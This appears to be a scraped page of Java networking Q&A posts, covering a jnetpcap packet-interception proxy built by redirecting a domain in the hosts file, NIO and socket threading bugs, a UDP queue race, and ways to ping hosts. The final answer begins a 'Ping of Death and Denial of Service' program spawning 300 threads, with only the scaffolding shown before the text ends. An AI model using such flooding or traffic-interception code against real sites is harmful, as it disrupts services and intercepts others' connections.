I'm trying to intercept packets and be able to block them from incoming/outgoing, for a specific domain
In order to do that i made my (java) program adds the domain to the hosts file with a redirection to my own public ipv4 adress (this doesnt matter it just can't be the real IP and i must be able to intercept it, redirecting to my own IP makes sure nobody else in the world receives it). Secondly, i make the program listen to that signal and resend it on a different source port to the real server. (Checksum changes have been taken care of) Now the plan is to receive the response and do the exact same thing, but now by editting the source ip (my own public IP in this case) and the destination port
This should create a program where i'm a kind of middle men between a connection
But it doesnt work as expected, the moment im getting a response of the server (flags SYN/ACK), it's automatically sending them back a RST flag (IPv4/TCP) from the random chosen port by me which isnt the same as the port of the real client
I don't know if there are better ways to do this (there probably are) and how to prevent the problem I'm having, I couldn't really find similiar things to this on the internet. Any kind of help/hints would be appreciated
Keep in mind that I'm using jnetpscape at this moment and it would be nice to continue at what i'm doing right now
EDIT (code):
this is the "HConnection" class (not fully showed but all essential things):
public class HConnection {
private volatile int state = -1; // current state of the program
private volatile boolean HostFileEdited = false;
private volatile String domain = null;
private volatile boolean waitingConnection = false;
private volatile String ipOfDomain = null; // string of the server adress
private volatile byte[] ipofdomb; //4 bytes of the server adress
private volatile String myIpAdr = null; //my IP adress
private volatile byte[] myIpb; //my public IP in 4 bytes
private volatile byte[] port = null; //port of proxy
private volatile byte[] falseport = null; //port of client
private volatile ServerSocket server;
public HConnection() {
try {
server = new ServerSocket(0);
byte[] tempPortb = ByteBuffer.allocate(4).putInt(server.getLocalPort()).array();
System.out.println(server.getLocalPort());
port = new byte[]{tempPortb[2], tempPortb[3]};
(new Thread() {
public void run() {
try {
server.accept();
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
}).start();
state = 0;
} catch (UnknownHostException e) {System.out.println("fail");} catch (IOException e) {System.out.println("fail");}
}
public String getPublicIP () {
try{
myIpAdr = new BufferedReader(new InputStreamReader(new URL("http://checkip.amazonaws.com/").openStream())).readLine();
System.out.println(myIpAdr);
InetAddress ip = InetAddress.getByName(myIpAdr);
myIpb = ip.getAddress();
return myIpAdr;
}
catch (Exception e){}
return null;
}
public void setUrl(String domain) {
this.domain = domain;
}
public int getState() {
return state;
}
public void prepare() {
try{
URL urlofsite = new URL("https://"+domain);
InetAddress address = InetAddress.getByName(urlofsite.getHost());
ipOfDomain = address.getHostAddress();
System.out.println(ipOfDomain);
ipofdomb = address.getAddress();
addToHostsFile(getPublicIP() + "\t" + domain);
state = 1;
}
catch(Exception e){}
}
public void abort() {
removeFromHostsFile(domain);
HostFileEdited = false;
state = -1;
try {
server.close();
} catch (IOException e) { }
waitingConnection = false;
}
public void awaitConnection() {
if (state == 1) {
waitingConnection = true;
System.out.println("stap1");
StringBuilder errbuf = new StringBuilder(); // For any error msgs
int snaplen = 64 * 1024; // Capture all packets, no truncation
int flags = Pcap.MODE_PROMISCUOUS; // capture all packets
int timeout = 0; // 10 seconds in millis
Pcap pcap = Pcap.openLive("wlp4s0", snaplen, flags, timeout, errbuf);
if (pcap == null) {
System.err.printf("Error while opening device for capture: "
+ errbuf.toString());
return;
}
PcapHeader hdr = new PcapHeader(JMemory.POINTER);
JBuffer buf = new JBuffer(JMemory.POINTER);
int id = JRegistry.mapDLTToId(pcap.datalink());
while (HostFileEdited && waitingConnection && state == 1 && pcap.nextEx(hdr, buf) == Pcap.NEXT_EX_OK) {
PcapPacket packet = new PcapPacket(hdr, buf);
try {
packet.scan(id);
TcpPacket pkt = new TcpPacket(packet);
if (pkt.isTcp()) {
if (pkt.destinationIPequals(myIpAdr) && pkt.getDestinationPort() == 443 && (falseport == null || Arrays.equals(pkt.getSourcePortb(), falseport))) {
if (falseport == null) {
falseport = pkt.getSourcePortb();
}
pkt.changeDestinationIP(ipofdomb);
pkt.changeSourcePort(port);
pkt.iPchecksumFix();
pkt.tcPchecksumFix();
ByteBuffer b = ByteBuffer.wrap(pkt.getPacketInBytes());
System.out.println("10");
System.out.println("OUT"+ (pcap.sendPacket(b)));
}
else if (pkt.sourceIPequals(ipOfDomain) && pkt.getSourcePort() == 443 && falseport != null && Arrays.equals(pkt.getDestinationPortb(),port) ) {
pkt.changeSourceIP(myIpb);
pkt.changeDestinationPort(falseport);
pkt.iPchecksumFix();
pkt.tcPchecksumFix();
ByteBuffer b = ByteBuffer.wrap(pkt.getPacketInBytes());
System.out.println("IN"+ pcap.sendPacket(b));
}
}
}
catch (Exception e) {}
}
System.out.println("stap2");
if (state == 1 && waitingConnection == true) state = 2;
waitingConnection = false;
}
}
}
The "awaitConnection()" method is were currently most things are happening. But this will only be the beginning of my program
HConnection is called from the main class (SWT Designer):
private Button btnNewButton_1;
private HConnection connectie;
private void btnConnect_clicked(SelectionEvent e) throws InterruptedException {
if (btnNewButton_1.getText().equals("Connect")) {
String Url = combo.getText();
connectie = new HConnection();
connectie.setUrl(Url);
connectie.prepare();
lblNewLabel_2.setText("Waiting -> client");
new Thread(new Runnable() {
public void run() {
connectie.awaitConnection();
Display.getDefault().asyncExec(new Runnable() {
public void run() {
if (connectie.getState() == 2) {
lblNewLabel_2.setText("Replacing URL");
}
else {
lblNewLabel_2.setText("Failed");
connectie.abort();
btnNewButton_1.setText("Connect");
}
}
});
if (connectie.getState() == 2) {
// go on with the rest of the program
}
}
}).start();
btnNewButton_1.setText("Abort");
}
else if(btnNewButton_1.getText().equals("Abort")) {
connectie.abort();
lblNewLabel_2.setText("Aborted");
btnNewButton_1.setText("Connect");
}
}
The following code accepts a connection, but doesn't maintain a reference to the resulting Socket instance. This Socket is eligible for garbage collection, and when that happens, it is automatically closed. A client sending data to that socket will then receive an RST.
public void run() {
try {
server.accept();
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
Related
I am trying to figure out NIO in Java doing some simple client-server project.
The case is I have to concurrent clients in cached thread pool executor, who are communicating with single-threaded server using non-blocking NIO channels.
The problem is that last client cannot receive last server's sent message. It locks in infinite loop waiting for upcoming data.
ClientTask class:
public class ClientTask extends FutureTask<String> {
private Client client;
private List<String> reqList; // requests list (without last and first)
private boolean showRes; // print request results
public ClientTask(Client client, List<String> reqList, boolean showRes) {
super(() -> ClientTask.getLogWhenArrives(client, reqList, showRes));
this.client = client;
this.reqList = reqList;
this.showRes = showRes;
}
public static ClientTask create(Client c, List<String> reqList, boolean showRes) {
return new ClientTask(c, reqList, showRes);
}
private static String getLogWhenArrives(Client client, List<String> reqList, boolean showRes) {
client.connect();
String response = client.send("login " + client.getId());
if (showRes) System.out.println(response);
for (String req : reqList) {
response = client.send(req);
if (showRes) System.out.println(response);
}
String responseLog = client.send("bye and log transfer");
client.close();
return responseLog;
}
}
Client send():
public String send(String req) {
ByteBuffer reqBuffer = ByteBuffer.wrap((req + END).getBytes());
try {
channel.write(reqBuffer);
} catch (IOException e) {
e.printStackTrace();
}
return receive();
}
Client receive()
public String receive() {
StringBuilder result = new StringBuilder();
try {
inBuff.clear();
readLoop:
while (true) { // THIS LOOP WON'T END
int n = channel.read(inBuff);
if (n == -1) {
break;
}
if (n > 0) {
inBuff.flip();
CharBuffer cb = charset.decode(inBuff);
while (cb.hasRemaining()) {
char c = cb.get();
if (c == END.charAt(0)) {
break readLoop;
}
result.append(c);
}
}
}
} catch (IOException e) {
e.printStackTrace();
}
return result.toString();
}
Main:
public class Main {
public static void main(String[] args) throws Exception {
String fileName = System.getProperty("user.home") + "/PassTimeServerOptions.yaml";
Options opts = Tools.createOptionsFromYaml(fileName);
String host = opts.getHost();
int port = opts.getPort();
boolean concur = opts.isConcurMode();
boolean showRes = opts.isShowSendRes();
Map<String, List<String>> clRequests = opts.getClientsMap();
ExecutorService es = Executors.newCachedThreadPool();
List<ClientTask> ctasks = new ArrayList<>();
List<String> clogs = new ArrayList<>();
Server s = new Server(host, port);
s.startServer();
// start clients
clRequests.forEach( (id, reqList) -> {
Client c = new Client(host, port, id);
if (concur) {
ClientTask ctask = ClientTask.create(c, reqList, showRes);
ctasks.add(ctask);
es.execute(ctask);
}
});
if (concur) {
ctasks.forEach( task -> {
try {
String log = task.get();
clogs.add(log);
} catch (InterruptedException | ExecutionException exc) {
System.out.println(exc);
}
});
clogs.forEach( System.out::println);
es.shutdown();
}
s.stopServer();
System.out.println("\n=== Server log ===");
System.out.println(s.getServerLog());
}
}
Server is sending all the info and channels are open and connected.
I'm creating a token ring with sensors where every sensor is a process apart. When i start a sensor it communicates with the gateway and gets the list of the actual sensors already on the system .
The problem is that every time i start a new process i want every already existing sensor to get the updated list, so to understand that other sensors have been added and the list is no longer the one they had but a new updated one.(So lets say the processes must always have the same list). I use a server which i call serverSocket which listens for messages. I can make it possible for the server to understand that the list has been changed but what i cant do is how to change the value of the sensorList found on my SensorClient class, to be updated? In the code bellow i show what i'm doing but the sensorList keeps being the old one,not being updated :/ Can anyone please help me? Thank you :)
SensorClient where i start a new process sensor
public class SensorClient {
public static void main(String[] args) throws Exception {
Sensor sensor = new Sensor(type,identificator,portnumber,ipnumber,gatewayAddr,timestamp);
Gson gson = new Gson();
String message = gson.toJson(sensor);
Client c = Client.create();
WebResource r = c.resource("http://localhost:9999/gateway/");
ClientResponse response = r.path("sensors/add").type(MediaType.APPLICATION_JSON).accept(MediaType.APPLICATION_JSON).post(ClientResponse.class, message);
if (response.getStatus() == 200) {
repeat = false;
Type collectionType = new TypeToken<ArrayList<Sensor>>(){}.getType();
ArrayList<Sensor> sensorList = gson.fromJson(response.getEntity(String.class), collectionType);
System.out.println("Starting the sensor ...");
System.out.println("Push exit when you want to delete the sensor!");
int position = 0;
for(int i = 0; i< sensorList.size();i++){ if(sensorList.get(i).getIdentificator().equalsIgnoreCase(sensor.getIdentificator()) ) position = i;
}
sensors.Sensor.simulation(type, identificator);// special thread for sensors simulations
createSensor.getInstance().setPrevNextWhenAdd(position,sensorList);
serverSocket serverSocket = new serverSocket(portnumber,sensorList,position,sensorList.get(position).getNext());
serverSocket.start();
StopSensor stopSensor = new StopSensor(identificator,portnumber,position,sensorList);
stopSensor.start();
oneSensor s = new oneSensor(portnumber,sensorList);
s.start();
} else {
repeat = true;
count +=1;
System.out.println("Error. Wrong data! ");
}
}
while (repeat );
}
}
}
The serverSocket thread
public class serverSocket extends Thread {
public int port,nextPort;
ArrayList<gateway.Sensor> sensorList;
public static int position;
public serverSocket(int port, ArrayList<gateway.Sensor> sensorList,int position,int nextPort) {
this.port = port;
this.nextPort=nextPort;
this.sensorList= sensorList;
this.position=position;}
public void run() {
ServerSocket welcomeSocket;
Socket connectionSocket;
try {
welcomeSocket = new ServerSocket(port);
while (true) {
connectionSocket = welcomeSocket.accept();
receivedMessages thread = new receivedMessages(connectionSocket,sensorList,position,nextPort);
thread.start();
}
} catch (IOException e) {
e.printStackTrace();
System.err.println("Error!!!!!!!!!");
}
}
}
The receivedMessages thread
public class receivedMessages extends Thread {
private BufferedReader inFromClient;
private Socket connectionSocket;
ArrayList<gateway.Sensor> sensorList;
int position,nextPort;
public receivedMessages(Socket socket, ArrayList<gateway.Sensor> sensorList,int position,int nextPort){
connectionSocket = socket;
this.sensorList=sensorList;
this.position=position;
this.nextPort=nextPort;
try {
inFromClient = new BufferedReader( new InputStreamReader(connectionSocket.getInputStream()));
} catch (IOException e) { e.printStackTrace(); }
}
#Override
public void run() {
try {
String message = (inFromClient.readLine().toString());
if (message.startsWith("Next") || message.startsWith("Previous")) {
System.out.println(message);
} else if (message.startsWith("The")) {
System.out.println(message); createSensor.getInstance().setPrevNextWhenDelete(position, sensorList);
} else {// i receive the message that the list has changed
System.out.println(message);
sensorList = createSensor.getInstance().getSensorList();
System.out.println("Updated " + sensorList);}
This class has methods used by gateway to register a sensor when it makes the request
public class createSensor {
private static createSensor instance = null;
private ArrayList<Sensor> sensor = new ArrayList<>();
public int position, prevPosition, nextPosition, prevPort, nextPort;
private createSensor() { }
public static synchronized createSensor getInstance() {
if (instance == null) {
instance = new createSensor();
}
return instance;
}
public synchronized ArrayList insertSensor(String type, String identificator, int port, String id, String gatwayAddr, long timestamp) throws IOException {
sensor.add(new Sensor(type, identificator, port, id, gatwayAddr, timestamp));
return new ArrayList<>(sensor); //
}
}
public synchronized boolean hasMeasurements() {
while (InnerBuffer.getInstance().emptyInnerBuffer())
return false;
return true;
}
public synchronized void setPrevNextWhenDelete(int position,ArrayList<Sensor> sensorList) throws IOException {
//code
}
public synchronized ArrayList<Sensor> getSensorList() {
return new ArrayList<>(sensor);
}
public synchronized int size() {
return sensor.size();
}
public synchronized String returnRecentMeasurement (String id){
String recentMeasurement=null;
for (Sensor sensori : sensor) {
if (sensori.getIdentificator().equalsIgnoreCase(id))
recentMeasurement= InnerBuffer.getInstance().returnRecentMeasurements(id);
else
recentMeasurement = null;}
return recentMeasurement;
}
public synchronized void setPrevNextWhenAdd() throws IOException { //some other code where int position, prevPosition, nextPosition, prevPort, nextPort get their values. }}
I am listening to UDP data packets on a heavy traffic network. The wireshark capture shows the UDP data packets ip address as 125.6.6.5 but when the packet is listened by my code "NetworkListener.java", I see it prints out the right information, but I do pass in this data and construct a new object "Packet" and then put into a LinkedBlockingQueue and read it in another class "Worker.java".
When I print the same packet in Worker.java class I see that the ip address of the packet has being changed.
Since it being a heavy traffic network where I am getting more than 40 data packets in a second on that port and I am converting it to a diff object and storing in a linkedBlockingQueue, does the packets are colliding in the Queue and giving me an incorrect ip???
The java classes are:
public class NetworkListener implements Runnable
{
private LinkedBlockingQueue lbq;
private volatile boolean running;
public NetworkListener()
{
lbq = PacketQueue.getInstance();
running = true;
}
public void run()
{
try
{
byte[] rwhat = new byte[1024];
DatagramPacket packet = new DatagramPacket(rwhat, 1024);
// Setup listener on port 5000
InetSocketAddress isock = new InetSocketAddress(5000);
DatagramSocket datagramSocket = new DatagramSocket(null);
datagramSocket.setReuseAddress(true);
datagramSocket.bind(isock);
datagramSocket.setSoTimeout(15000); // 15 seconds timeouts
// loop reading packets
while (running)
{
try {
datagramSocket.receive(packet);
}
catch (SocketTimeoutException te) {
continue;
}
String ipAddr = new String (packet.getAddress().getHostAddress());
String payLoad = new String (packet.getData());
String strRecv = new String( "IP Address from Network Listener:[" + ipAddr + "], Payload :[" + payLoad + "]");
System.out.println(strRecv);
synchronized (lbq)
{
lbq.put(new Packet(packet.getData(), packet.getAddress().getHostAddress()));
lbq.notifyAll();
}
}
}
catch (Exception e)
{
}
}
/**
* Shutdown current thread
*/
public void shutdown()
{
running = false;
if (lbq != null)
{
synchronized (lbq)
{
lbq.notifyAll();
lbq = null;
}
}
}
}
public class Packet
{
private byte[] bytes;
private String ipAddress;
public Packet(final byte[] bytes, final String ipAddress)
{
this.bytes = bytes;
this.ipAddress = ipAddress;
}
public byte[] getBytes()
{
return bytes;
}
public String getipAddress()
{
return ipAddress;
}
}
public class PacketQueue extends LinkedBlockingQueue
{
private static volatile PacketQueue INSTANCE = null;
public static synchronized final PacketQueue getInstance()
{
if (INSTANCE == null)
INSTANCE = new PacketQueue();
return INSTANCE;
}
}
public class Worker implements Runnable
{
private LinkedBlockingQueue lbq;
private volatile boolean running;
public Worker()
{
lbq = PacketQueue.getInstance();
running = true;
}
public void run()
{
System.out.println("Thread Starting Up . . .");
while (running)
{
synchronized (lbq)
{
while (lbq.empty())
{
try
{
lbq.wait();
if (lbq == null)
return;
}
catch (InterruptedException e)
{
return;
}
}
}
Packet packet = (Packet)lbq.poll();
if (packet != null)
{
String ipAddr = new String (packet.getipAddress());
String payLoad = new String (packet.getBytes());
String strRecv = new String( "IP Address from Worker:[" + ipAddr + "], Payload :[" + payLoad + "]");
System.out.println(strRecv);
}
}
}
/**
* Shutdown current thread
*/
public void shutdown()
{
running = false;
if (lbq != null)
{
synchronized (lbq)
{
lbq.notifyAll();
lbq = null;
}
}
}
}
So if I am comparing both the print statements in NetworkListener.java and Worker.java, I would expect them to be the same ip address for a given payload but in my case sometimes its giving me correct ip address sometimes its giving an incorrect ip address. At every sec, I am seeing around 35 more data packets to be processed in the queue.
What am I doing wrong???
Is my code not able to handle heavy traffic??
Should I be using any other data structure apart from LinkedBlockingQueue??
Or should I not convert from DatagramPacket to Packet object??
Please advise and thanks for looking.
Your problem could be a race condition. Maybe other problems could be but I cannot say.
Just by looking at your code. Shouldn't this
Packet packet = (Packet)lbq.poll();
be part of the critical section and have synchronized access? This is the only access to lbq that is not protected. Is seems it should be within the synchronized section after the while loop.
I am working on a project trying to make several people be able to control a robot arm. For this they have to connect to a Java server that then sends the commands to a robot screen for video conferencing.
I am trying to have a thread for each client and then I want to be able to switch between the different clients based on sound, because I want the speaker to be able to control the robot.
The clients all provide positional data and the level of sound taken by the kinect, and sent to the server in the form of a string.
I am having problems with performing the switch. Currently they seem to be switching back and forth and it makes the robot go haywire.
Is there a good way of comparing the threads to each other, find the appropriate one, switch to that, all the while checking the other threads to see if or when they become the most appropriate one? While also checking in case other clients try to connect to the server?
Thank you for your help.
I also include my code in case you want to look through it and get a better idea.
This is the server class:
import java.io.IOException;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.util.ArrayList;
import java.util.Hashtable;
public class MultiThreadedServer implements Runnable {
protected int serverPort = 8888;
protected ServerSocket serverSocket = null;
protected boolean isStopped = false;
protected Thread runningThread = null;
protected Thread clientThread = null;
protected Thread threadThread = null;
private Hashtable<Long, WorkerRunnable> Users = new Hashtable<Long, WorkerRunnable>();
private ArrayList<Thread> ClientThreads = new ArrayList<Thread>();
private WorkerRunnable client = null;
private ThreadHandler threadHandler = null;
private int sound_max = 0;
private boolean once = true;
public MultiThreadedServer (int port) {
this.serverPort = port;
}
public void run() {
synchronized(this) {
this.runningThread = Thread.currentThread();
}
openServerSocket();
threadHandler = new ThreadHandler();
while( !isStopped() ) {
Socket clientSocket = null;
try {
System.out.println(InetAddress.getLocalHost());
clientSocket = this.serverSocket.accept(); // Connect to clients
} catch (SocketTimeoutException e) {
} catch (IOException e) {
if( isStopped() ) {
System.out.println("Server Stopped");
return;
}
throw new RuntimeException("Error accepting client connection", e);
}
client = new WorkerRunnable(clientSocket, "Multithreaded Server");//Class does client work
clientThread = new Thread(client); // Make a thread for each client
clientThread.start(); // start thread
threadHandler.setUp(client, clientThread); // Set up the thread handler
if ( once == true) { // make sure the threadHandler thread is only created once
threadThread = new Thread(threadHandler);
threadThread.start();
once = false;
}
}
System.out.println("Server Stopped");
}
/**
* Check if the socket is stopped
* #return true if the socket is stopped
*/
private synchronized boolean isStopped() {
return this.isStopped;
}
/**
* Stop and close the socket
*/
public synchronized void stop() {
this.isStopped = true;
try {
this.serverSocket.close();
} catch (IOException e) {
throw new RuntimeException("Error closing server", e);
}
}
/**
* Open server socket
*/
private void openServerSocket() {
try {
this.serverSocket = new ServerSocket(this.serverPort);
} catch (IOException e) {
throw new RuntimeException("Cannot open port 8888", e);
}
}
}
This is the Worker class, that handles the data from the clients:
import gnu.io.NoSuchPortException;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.Socket;
public class WorkerRunnable implements Runnable {
protected Socket clientSocket = null;
protected String serverText = null;
private BufferedReader inFromClient;
private DataOutputStream outToClient;
private int[] currentPos = new int[6];
private boolean connected = false;
static TwoWaySerialComm serialCom = null;
static MultiServoState mState;
static int sound_average;
int[] degrees = new int[7];
int count = 0;
public WorkerRunnable(Socket clientSocket, String serverText) {
this.clientSocket = clientSocket;
this.serverText = serverText;
initCurrentPos();
if (serialCom == null) {
serialCom = new TwoWaySerialComm();
}
try {
if (!serialCom.isConnected("COM5")) {
try {
serialCom.connect("COM5");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
mState = new MultiServoState(serialCom);
}
} catch (NoSuchPortException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void run() {
try {
work();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
}
}
public void work() throws InterruptedException {
try {
InputStream input = clientSocket.getInputStream();
OutputStream output = clientSocket.getOutputStream();
inFromClient = new BufferedReader(new InputStreamReader(input));
outToClient = new DataOutputStream(output);
long time = System.currentTimeMillis();
updateData();
String message = null;
long endTime = System.currentTimeMillis() + 2000;
while ((message = (String) inFromClient.readLine()) != null) {
System.out.println("Message Received: " + message);
parse(message);
sound_average = degrees[6];
//
// Send the positional data to the robot
//
mState.runServo(degrees[0], degrees[1], degrees[2],
degrees[3], degrees[4], degrees[5]);
//
// Send a response information to the client application
//
currentPos[0] = mState.getCurrentPos(0);
currentPos[1] = mState.getCurrentPos(1);
currentPos[2] = mState.getCurrentPos(2);
currentPos[3] = mState.getCurrentPos(3);
currentPos[4] = mState.getCurrentPos(4);
try {
updateData();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
System.out.println("Request processed: " + time);
} catch (IOException e) {
// report exception somewhere
e.printStackTrace();
}
}
/**
* Initiate the robot's starting position.
*/
public void initCurrentPos()
{
currentPos[0] = 100;
currentPos[1] = 100;
currentPos[2] = 100;
currentPos[3] = 100;
currentPos[4] = 100;
currentPos[5] = 0;
}
/**
* Send the data to the client
*
* #throws IOException
*/
public void updateData() throws IOException {
String sentence = Integer.toString(currentPos[0]) + ", " +
Integer.toString(currentPos[1]) + ", " +
Integer.toString(currentPos[2]) + ", " +
Integer.toString(currentPos[3]) + ", " +
Integer.toString(currentPos[4]) + "." + "\n";
outToClient.flush();
outToClient.writeBytes(sentence);
}
/**
* Get the clients sound average
* #param message
*/
public int getSoundAverage() {
return sound_average;
}
public void parse(String message) {
if (message != null) {
char c;
StringBuilder sb = new StringBuilder(4);
int j = 0;
boolean help = false;
for (int i = 0; i < message.length(); i++) {
c = message.charAt(i);
if (Character.isDigit(c)) {
sb.append(c);
help = true;
}
if (!Character.isDigit(c) && help == true) {
degrees[j] = Integer.parseInt(sb.toString());
j++;
help = false;
sb.delete(0, sb.length());
}
}
}
System.out.println("Waiting for client message...");
}
/**
* Close all connections
*/
public void close() {
if (connected) {
synchronized (this) {
connected = false;
}
if (outToClient != null) {
try {
outToClient.close();
synchronized (this) {
outToClient = null;
}
} catch (IOException e) {
// there is nothing we can do: ignore it
}
}
if (inFromClient != null) {
try {
inFromClient.close();
synchronized (this) {
inFromClient = null;
}
} catch (IOException e) {
// there is nothing we can do: ignore it
}
}
if (clientSocket != null) {
try {
clientSocket.close();
synchronized (this) {
clientSocket = null;
}
} catch (IOException e) {
// there is nothing we can do: ignore it
}
}
}
}
public void returnThread() {
return;
}
}
The final class is the thread handler where I try to compare sound levels and yield all threads except the loudest one:
import java.net.ServerSocket;
import java.util.ArrayList;
import java.util.Hashtable;
import com.research.aserver.WorkerRunnable;
public class ThreadHandler implements Runnable {
protected boolean isStopped = false;
protected Thread runningThread = null;
protected Thread clientThread = null;
private Hashtable<Long, WorkerRunnable> Users = new Hashtable<Long, WorkerRunnable>();
private ArrayList<Thread> ClientThreads = new ArrayList<Thread>();
private WorkerRunnable client = null;
private int sound_max = 0;
private int index = 0;
public ThreadHandler() {
}
public void setUp(WorkerRunnable client, Thread clientThread) {
this.client = client;
this.clientThread = clientThread;
Users.put(clientThread.getId(), this.client); // Place clients in a list with its thread ID as key
ClientThreads.add(this.clientThread); // List of client threads
}
#Override
public void run() {
long endTime = System.currentTimeMillis() + 2000; // Help variable to check every 2 sec
while (!Users.isEmpty() && !ClientThreads.isEmpty()) {
for (int i = 0; i < ClientThreads.size(); i++) { // Remove clients and threads if no longer active
if (!ClientThreads.get(i).isAlive()) {
Users.remove(ClientThreads.get(i).getId());
ClientThreads.get(i).interrupt();
ClientThreads.remove(i);
}
}
if(System.currentTimeMillis() >= endTime) { // Do work every 2 sec
for (int i = 0; i < ClientThreads.size(); i++) { // Get the client with the loudest sound
if (sound_max < Users.get(ClientThreads.get(i).getId()).getSoundAverage()) {
sound_max = Users.get(ClientThreads.get(i).getId()).getSoundAverage();
index = i;
}
}
for (int i = 0; i < ClientThreads.size(); i++) { // yield all threads that are not the loudest
if (Users.get(ClientThreads.get(index).getId()) != Users.get(ClientThreads.get(i).getId())){
ClientThreads.get(i).yield();
index = 0;
}
}
endTime = System.currentTimeMillis() + 2000; // update time
}
sound_max = 0;
}
}
}
One idea might be to use a PriorityBlockingQueue and define a quality value for each input, which is then sort by quality automatically inside the list.
Using this your consumer thread can simply fetch the first one in line and process it, knowing that it is the most appropriate one, while the generator threads can simply throw all input in the Queue.
I have a device on a network that I am attempting to ping through my Java program. Through my windows command prompt, I can ping the device address fine and do a tracert on the address fine.
Online, I have seen that in order to do a ping through Java you have to do the following:
InetAddress.getByName(address).isReachable(timeout);
But, when I use this code on my device address, it always returns false in my program. I am using the correct IPv4 address with a good timeout value. Also, if I use a localhost address, it works fine.
Why can I ping the device through cmd, but not through my program? I have heard in various places that this is not a true ping.
Is there a better way to emulate a ping in Java?
Thanks
isReachable() will use ICMP ECHO REQUESTs if the privilege can be obtained, otherwise it will try to establish a TCP connection on port 7 (Echo) of the destination host.
Thus your problem is probably a configuration issue of not enough permissions to do this on the client machine or a port 7 issue on the server if your client doesn't have permission to do the ICMP ECHO REQUEST. Probably both in your case, you need to resolve one side or the other to get this to work.
I tested the following on OSX and Linux clients and it works when testing for reachablity of other OSX, Linux and Windows Server machines. I don't have a Windows machine to run this as a client.
import java.io.IOException;
import java.net.InetAddress;
public class IsReachable
{
public static void main(final String[] args) throws IOException
{
final InetAddress host = InetAddress.getByName(args[0]);
System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
}
}
from what I read here. It is apparently a Windows limitation and ICMP PING isn't supported on Windows as a system call previous to Windows 2000, so it defaults to try and connect to Port 7 and that is blocked on the machine you are trying to "reach". Java doesn't support the new native system call yet. The permissions thing is for Unix based system as they require root to send ICMP packets.
If you want to roll your own Windows native JNI ICMP PING for Windows 2000 and newer there is the IcmpSendEcho Function.
I use this function (from this article) when I need a real ICMP ping in Windows, Linux and OSX (I have not tested other systems).
public static boolean isReachableByPing(String host) {
try{
String cmd = "";
if(System.getProperty("os.name").startsWith("Windows")) {
// For Windows
cmd = "ping -n 1 " + host;
} else {
// For Linux and OSX
cmd = "ping -c 1 " + host;
}
Process myProcess = Runtime.getRuntime().exec(cmd);
myProcess.waitFor();
if(myProcess.exitValue() == 0) {
return true;
} else {
return false;
}
} catch( Exception e ) {
e.printStackTrace();
return false;
}
}
A bit late, but I stumbled upon this while trying to do the same thing.
One workaround that worked for me and which I used was to just use the command line ping directly.
public static boolean ping(String host)
{
boolean isReachable = false;
try {
Process proc = new ProcessBuilder("ping", host).start();
int exitValue = proc.waitFor();
System.out.println("Exit Value:" + exitValue);
if(exitValue == 0)
isReachable = true;
} catch (IOException e1) {
System.out.println(e1.getMessage());
e1.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
return isReachable;
}
One of the reasons is that the timeout you've specified is too low. I had a similar problem but when i increased the timeout to an appropriate value, the isReachable invocation returned a correct value.
I saw a lot of bad code written related to that issue. The code that worked for my is (site do not know to correctly parse my code file) :
public class Test {
public static boolean isReachablebyPing(String ip) {
try {
String command;
if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
// For Windows
command = "ping -n 2 " + ip;
} else {
// For Linux and OSX
command = "ping -c 2 " + ip;
}
Process proc = Runtime.getRuntime().exec(command);
StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
outputGobbler.start();
proc.waitFor();
return checkAvailability(outputGobbler.getOutputLines());
} catch(IOException | InterruptedException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
return false;
}
public static void main(String... args) {
String ip = "10.20.20.17"; // false in my case
String ip1 = "10.20.20.100"; // true in my case
System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
}
private static boolean checkAvailability(List<String> outputLines) {
for(String line : outputLines) {
if(line.contains("unreachable")) {
return false;
}
if(line.contains("TTL=")) {
return true;
}
}
return false;
}
}
class StreamGobbler extends Thread {
protected InputStream is;
protected String type;
protected List<String> outputLines;
StreamGobbler(InputStream is, String type) {
this.is = is;
this.type = type;
outputLines = new ArrayList<>();
}
public List<String> getOutputLines() {
return outputLines;
}
#Override
public void run() {
try {
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String line;
while((line = br.readLine()) != null) {
outputLines.add(line);
}
} catch(IOException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
For an easy ping from java without privileges, I use http://www.icmp4j.org
It's very easy to use :
final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();
request.setHost ("www.google.org");
// repeat a few times
for (int count = 1; count <= 4; count ++) {
// delegate
final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);
// log
final String formattedResponse = IcmpPingUtil.formatResponse (response);
System.out.println (formattedResponse);
// rest
Thread.sleep (1000);
}
The following JAVA code is an example of Ping of Death and Denial of Service using Microsoft Windows. This shall be use for testing purpose in order to build an Anti-Hack proof and/or testing the performance of the site in case of similar Cyber attacks.
// BEGIN Ping of Death and Denial of Service
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;
import jxl.read.biff.BiffException;
import jxl.write.WriteException;
public class PoDandDoS {
protected static final long serialVersionUID = 300200;
public static void main(String[] args)
throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
Thread[] threads = new Thread[300];
for (int i = 0; i < 300; i++) {
threads[i] = new Thread(new Runnable() {
public void run() {
try {
thread();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
});
threads[i].start();
}
for (int i = 0; i < 300; i++) {
threads[i].join();
}
}
private static void thread() throws IOException, InterruptedException {
// Ping of Death
